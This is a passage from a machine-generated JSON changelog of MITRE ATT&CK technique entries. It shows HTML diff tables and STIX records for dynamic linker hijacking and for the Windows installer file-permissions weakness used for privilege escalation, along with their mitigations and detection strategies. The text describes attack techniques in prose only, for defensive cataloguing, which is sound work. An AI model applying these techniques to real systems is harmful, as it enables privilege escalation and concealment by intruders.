nowrap=\"nowrap\">ined&nbsp;in&nbsp;the&nbsp;system&nbsp;library&nbsp;on&nbsp;disk.&nbsp;This&nbsp;allows&nbsp;adversaries&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;[Hide&nbsp;Artifacts](https://attack.mitre.org/techniques/T156</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;[Hide&nbsp;Artifacts](https://attack.mitre.org/techniques/T156</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">4)&nbsp;from&nbsp;detection,&nbsp;as&nbsp;hooking&nbsp;system&nbsp;functions&nbsp;such&nbsp;as&nbsp;`exec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">4)&nbsp;from&nbsp;detection,&nbsp;as&nbsp;hooking&nbsp;system&nbsp;functions&nbsp;such&nbsp;as&nbsp;`exec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ve`&nbsp;and&nbsp;`readdir`&nbsp;enables&nbsp;malware&nbsp;to&nbsp;scrub&nbsp;its&nbsp;own&nbsp;artifacts</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ve`&nbsp;and&nbsp;`readdir`&nbsp;enables&nbsp;malware&nbsp;to&nbsp;scrub&nbsp;its&nbsp;own&nbsp;artifacts</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;from&nbsp;the&nbsp;results&nbsp;of&nbsp;commands&nbsp;such&nbsp;as&nbsp;`ls`,&nbsp;`ldd`,&nbsp;`iptables</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;from&nbsp;the&nbsp;results&nbsp;of&nbsp;commands&nbsp;such&nbsp;as&nbsp;`ls`,&nbsp;`ldd`,&nbsp;`iptables</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">`,&nbsp;and&nbsp;`dmesg`.(Citation:&nbsp;ESET&nbsp;Ebury&nbsp;Oct&nbsp;2017)(Citation:&nbsp;Int</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">`,&nbsp;and&nbsp;`dmesg`.(Citation:&nbsp;ESET&nbsp;Ebury&nbsp;Oct&nbsp;2017)(Citation:&nbsp;Int</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ezer&nbsp;Symbiote&nbsp;2022)(Citation:&nbsp;Elastic&nbsp;Security&nbsp;Labs&nbsp;Pumakit&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ezer&nbsp;Symbiote&nbsp;2022)(Citation:&nbsp;Elastic&nbsp;Security&nbsp;Labs&nbsp;Pumakit&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2024)<span class=\"diff_sub\">&nbsp;&nbsp;Hijacking&nbsp;dynamic&nbsp;linker&nbsp;variables&nbsp;may&nbsp;grant&nbsp;access&nbsp;t</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2024)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">o&nbsp;the&nbsp;victim&nbsp;process's&nbsp;memory,&nbsp;system/network&nbsp;resources,&nbsp;and</span></td><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">&nbsp;possibly&nbsp;elevated&nbsp;privileges.</span></td><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1028: Operating System Configuration",
                            "M1038: Execution Prevention"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0435: Detection Strategy for Hijack Execution Flow: Dynamic Linker Hijacking"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-13 11:12:18.558000+00:00",
                    "modified": "2026-11-04 01:05:09.289000+00:00",
                    "name": "Executable Installer File Permissions Weakness",
                    "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)(Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1574/005",
                            "external_id": "T1574.005"
                        },
                        {
                            "source_name": "mozilla_sec_adv_2012",
                            "description": "Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
                            "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/"
                        },
                        {
                            "source_name": "Executable Installers are Vulnerable",
                            "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.",
                            "url": "https://seclists.org/fulldisclosure/2015/Dec/34"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Stefan Kanthak",
                        "Travis Smith, Tripwire"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_remote_support": false,
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:05:09.289000+00:00\", \"old_value\": \"2026-05-12 15:12:00.641000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\\n\\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\\n\\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)(Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\\n\\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\\n\\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\\n \\n-Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\\n+Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)(Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to80__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to80__0\"><a href=\"#difflib_chg_to80__top\">t</a></td><td class=\"diff_header\" id=\"from80_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;by&nbsp;hija</td><td class=\"diff_next\"><a href=\"#difflib_chg_to80__top\">t</a></td><td class=\"diff_header\" id=\"to80_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;by&nbsp;hija</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cking&nbsp;the&nbsp;binaries&nbsp;used&nbsp;by&nbsp;an&nbsp;installer.&nbsp;These&nbsp;processes&nbsp;may</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cking&nbsp;the&nbsp;binaries&nbsp;used&nbsp;by&nbsp;an&nbsp;installer.&nbsp;These&nbsp;processes&nbsp;may</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;automatically&nbsp;execute&nbsp;specific&nbsp;binaries&nbsp;as&nbsp;part&nbsp;of&nbsp;their&nbsp;fu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;automatically&nbsp;execute&nbsp;specific&nbsp;binaries&nbsp;as&nbsp;part&nbsp;of&nbsp;their&nbsp;fu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nctionality&nbsp;or&nbsp;to&nbsp;perform&nbsp;other&nbsp;actions.&nbsp;If&nbsp;the&nbsp;permissions&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nctionality&nbsp;or&nbsp;to&nbsp;perform&nbsp;other&nbsp;actions.&nbsp;If&nbsp;the&nbsp;permissions&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;the&nbsp;file&nbsp;system&nbsp;directory&nbsp;containing&nbsp;a&nbsp;target&nbsp;binary,&nbsp;or&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;the&nbsp;file&nbsp;system&nbsp;directory&nbsp;containing&nbsp;a&nbsp;target&nbsp;binary,&nbsp;or&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">permissions&nbsp;on&nbsp;the&nbsp;binary&nbsp;itself,&nbsp;are&nbsp;improperly&nbsp;set,&nbsp;then&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">permissions&nbsp;on&nbsp;the&nbsp;binary&nbsp;itself,&nbsp;are&nbsp;improperly&nbsp;set,&nbsp;then&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;target&nbsp;binary&nbsp;may&nbsp;be&nbsp;overwritten&nbsp;with&nbsp;another&nbsp;binary&nbsp;usin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;target&nbsp;binary&nbsp;may&nbsp;be&nbsp;overwritten&nbsp;with&nbsp;another&nbsp;binary&nbsp;usin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;user-level&nbsp;permissions&nbsp;and&nbsp;executed&nbsp;by&nbsp;the&nbsp;original&nbsp;proces</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;user-level&nbsp;permissions&nbsp;and&nbsp;executed&nbsp;by&nbsp;the&nbsp;original&nbsp;proces</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.&nbsp;If&nbsp;the&nbsp;original&nbsp;process&nbsp;and&nbsp;thread&nbsp;are&nbsp;running&nbsp;under&nbsp;a&nbsp;hi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.&nbsp;If&nbsp;the&nbsp;original&nbsp;process&nbsp;and&nbsp;thread&nbsp;are&nbsp;running&nbsp;under&nbsp;a&nbsp;hi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gher&nbsp;permissions&nbsp;level,&nbsp;then&nbsp;the&nbsp;replaced&nbsp;binary&nbsp;will&nbsp;also&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gher&nbsp;permissions&nbsp;level,&nbsp;then&nbsp;the&nbsp;replaced&nbsp;binary&nbsp;will&nbsp;also&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xecute&nbsp;under&nbsp;higher-level&nbsp;permissions,&nbsp;which&nbsp;could&nbsp;include&nbsp;S</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xecute&nbsp;under&nbsp;higher-level&nbsp;permissions,&nbsp;which&nbsp;could&nbsp;include&nbsp;S</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">YSTEM.&nbsp;&nbsp;Another&nbsp;variation&nbsp;of&nbsp;this&nbsp;technique&nbsp;can&nbsp;be&nbsp;performed</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">YSTEM.&nbsp;&nbsp;Another&nbsp;variation&nbsp;of&nbsp;this&nbsp;technique&nbsp;can&nbsp;be&nbsp;performed</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;by&nbsp;taking&nbsp;advantage&nbsp;of&nbsp;a&nbsp;weakness&nbsp;that&nbsp;is&nbsp;common&nbsp;in&nbsp;executa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;by&nbsp;taking&nbsp;advantage&nbsp;of&nbsp;a&nbsp;weakness&nbsp;that&nbsp;is&nbsp;common&nbsp;in&nbsp;executa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ble,&nbsp;self-extracting&nbsp;installers.&nbsp;During&nbsp;the&nbsp;installation&nbsp;pro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ble,&nbsp;self-extracting&nbsp;installers.&nbsp;During&nbsp;the&nbsp;installation&nbsp;pro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cess,&nbsp;it&nbsp;is&nbsp;common&nbsp;for&nbsp;installers&nbsp;to&nbsp;use&nbsp;a&nbsp;subdirectory&nbsp;with</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cess,&nbsp;it&nbsp;is&nbsp;common&nbsp;for&nbsp;installers&nbsp;to&nbsp;use&nbsp;a&nbsp;subdirectory&nbsp;with</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;the&nbsp;&lt;code&gt;%TEMP%&lt;/code&gt;&nbsp;directory&nbsp;to&nbsp;unpack&nbsp;binaries&nbsp;such</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;the&nbsp;&lt;code&gt;%TEMP%&lt;/code&gt;&nbsp;directory&nbsp;to&nbsp;unpack&nbsp;binaries&nbsp;such</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;as&nbsp;DLLs,&nbsp;EXEs,&nbsp;or&nbsp;other&nbsp;payloads.&nbsp;When&nbsp;installers&nbsp;create&nbsp;su</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;as&nbsp;DLLs,&nbsp;EXEs,&nbsp;or&nbsp;other&nbsp;payloads.&nbsp;When&nbsp;installers&nbsp;create&nbsp;su</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">bdirectories&nbsp;and&nbsp;files&nbsp;they&nbsp;often&nbsp;do&nbsp;not&nbsp;set&nbsp;appropriate&nbsp;per</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">bdirectories&nbsp;and&nbsp;files&nbsp;they&nbsp;often&nbsp;do&nbsp;not&nbsp;set&nbsp;appropriate&nbsp;per</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">missions&nbsp;to&nbsp;restrict&nbsp;write&nbsp;access,&nbsp;which&nbsp;allows&nbsp;for&nbsp;executio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">missions&nbsp;to&nbsp;restrict&nbsp;write&nbsp;access,&nbsp;which&nbsp;allows&nbsp;for&nbsp;executio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;of&nbsp;untrusted&nbsp;code&nbsp;placed&nbsp;in&nbsp;the&nbsp;subdirectories&nbsp;or&nbsp;overwrit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;of&nbsp;untrusted&nbsp;code&nbsp;placed&nbsp;in&nbsp;the&nbsp;subdirectories&nbsp;or&nbsp;overwrit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;of&nbsp;binaries&nbsp;used&nbsp;in&nbsp;the&nbsp;installation&nbsp;process.&nbsp;This&nbsp;behav</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;of&nbsp;binaries&nbsp;used&nbsp;in&nbsp;the&nbsp;installation&nbsp;process.&nbsp;This&nbsp;behav</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ior&nbsp;is&nbsp;related&nbsp;to&nbsp;and&nbsp;may&nbsp;take&nbsp;advantage&nbsp;of&nbsp;[DLL](https://at</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ior&nbsp;is&nbsp;related&nbsp;to&nbsp;and&nbsp;may&nbsp;take&nbsp;advantage&nbsp;of&nbsp;[DLL](https://at</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1574/001)&nbsp;search&nbsp;order&nbsp;hijacking.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1574/001)&nbsp;search&nbsp;order&nbsp;hijacking.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;this&nbsp;technique&nbsp;to&nbsp;replace&nbsp;legitimate&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;this&nbsp;technique&nbsp;to&nbsp;replace&nbsp;legitimate&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">inaries&nbsp;with&nbsp;malicious&nbsp;ones&nbsp;as&nbsp;a&nbsp;means&nbsp;of&nbsp;executing&nbsp;code&nbsp;at&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">inaries&nbsp;with&nbsp;malicious&nbsp;ones&nbsp;as&nbsp;a&nbsp;means&nbsp;of&nbsp;executing&nbsp;code&nbsp;at&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;higher&nbsp;permissions&nbsp;level.&nbsp;Some&nbsp;installers&nbsp;may&nbsp;also&nbsp;require</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;higher&nbsp;permissions&nbsp;level.&nbsp;Some&nbsp;installers&nbsp;may&nbsp;also&nbsp;require</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;elevated&nbsp;privileges&nbsp;that&nbsp;will&nbsp;result&nbsp;in&nbsp;privilege&nbsp;escalatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;elevated&nbsp;privileges&nbsp;that&nbsp;will&nbsp;result&nbsp;in&nbsp;privilege&nbsp;escalatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;when&nbsp;executing&nbsp;adversary&nbsp;controlled&nbsp;code.&nbsp;This&nbsp;behavior&nbsp;is</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;when&nbsp;executing&nbsp;adversary&nbsp;controlled&nbsp;code.&nbsp;This&nbsp;behavior&nbsp;is</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;related&nbsp;to&nbsp;[Bypass&nbsp;User&nbsp;Account&nbsp;Control](https://attack.mit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;related&nbsp;to&nbsp;[Bypass&nbsp;User&nbsp;Account&nbsp;Control](https://attack.mit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re.org/techniques/T1548/002).&nbsp;Several&nbsp;examples&nbsp;of&nbsp;this&nbsp;weakn</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re.org/techniques/T1548/002).&nbsp;Several&nbsp;examples&nbsp;of&nbsp;this&nbsp;weakn</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ess&nbsp;in&nbsp;existing&nbsp;common&nbsp;installers&nbsp;have&nbsp;been&nbsp;reported&nbsp;to&nbsp;soft</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ess&nbsp;in&nbsp;existing&nbsp;common&nbsp;installers&nbsp;have&nbsp;been&nbsp;reported&nbsp;to&nbsp;soft</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ware&nbsp;vendors.(Citation:&nbsp;mozilla_sec_adv_2012)<span class=\"diff_sub\">&nbsp;&nbsp;</span>(Citation:&nbsp;Ex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ware&nbsp;vendors.(Citation:&nbsp;mozilla_sec_adv_2012)(Citation:&nbsp;Exec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecutable&nbsp;Installers&nbsp;are&nbsp;Vulnerable)&nbsp;If&nbsp;the&nbsp;executing&nbsp;process</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">utable&nbsp;Installers&nbsp;are&nbsp;Vulnerable)&nbsp;If&nbsp;the&nbsp;executing&nbsp;process&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;is&nbsp;set&nbsp;to&nbsp;run&nbsp;at&nbsp;a&nbsp;specific&nbsp;time&nbsp;or&nbsp;during&nbsp;a&nbsp;certain&nbsp;event&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;set&nbsp;to&nbsp;run&nbsp;at&nbsp;a&nbsp;specific&nbsp;time&nbsp;or&nbsp;during&nbsp;a&nbsp;certain&nbsp;event&nbsp;(e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(e.g.,&nbsp;system&nbsp;bootup)&nbsp;then&nbsp;this&nbsp;technique&nbsp;can&nbsp;also&nbsp;be&nbsp;used&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.g.,&nbsp;system&nbsp;bootup)&nbsp;then&nbsp;this&nbsp;technique&nbsp;can&nbsp;also&nbsp;be&nbsp;used&nbsp;for</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;persistence.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;persistence.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1047: Audit",
                            "M1052: User Account Control"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
